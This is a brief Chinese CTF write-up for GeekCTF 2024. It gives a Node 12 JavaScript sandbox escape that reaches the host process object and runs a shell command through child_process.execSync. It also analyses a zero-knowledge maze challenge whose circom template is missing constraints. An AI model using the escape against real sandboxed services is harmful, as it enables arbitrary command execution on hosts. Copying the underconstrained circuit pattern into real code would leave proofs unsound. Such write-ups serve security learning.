Geekctf
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Geekctf
Geekctf
用户3866用户38662024年4月10日修改
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因为是node12，WebAssembly对象和excutor的用法没有引进应该是，找了下changelog也没咋看到excutor的细节。
懒得拿console了，直接往stdout里写
代码块
const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const _process = p.call(a).constructor('return process')();
const res = _process.mainModule.require('child_process').execSync('ls /');
_process.stdout.write(res);
ZkMaze
竟然还有ZK题
public_inputs在./out/chall.sol里面可以直接看
画出来看看迷宫
代码块
import matplotlib.pyplot as plt
import numpy as np
with open("./out/chall.sol", "rt") as f:
public_inputs = f.readlines()[18][44:271].split("), uint(")
public_inputs = [int(public_inputs[i]) for i in range(len(public_inputs))]
print(public_inputs)
# Traverse in reverse order using the origin as the starting point
maze = [public_inputs[i:i+5] for i in range(21, -1, -5)]
print(maze)
maze = np.array(maze)
fig, ax = plt.subplots()
ax.imshow(maze, cmap="binary")
ax.set_xticks([])
ax.set_yticks([])
plt.show()
起始点0左下，goal 24就是右上角。正常走肯定是走不到的
可以用snarkyjs读约束不过应该还是先读circom比较直观~
代码块
snarkjs r1cs print .\out\maze.r1cs .\out\maze.sym
看起来这一段<--缺少了必要的约束
代码块
template checkInMaze(n) {
signal input pos_x;
signal input pos_y;
signal output out;
signal tmp_x;
signal tmp_y;
tmp_x <-- pos_x >= 0 && pos_x < n;
tmp_x * (tmp_x - 1) === 0;
tmp_y <-- pos_y >= 0 && pos_y < n;
tmp_y * (tmp_y - 1) === 0;
out <== tmp_x * tmp_y;
}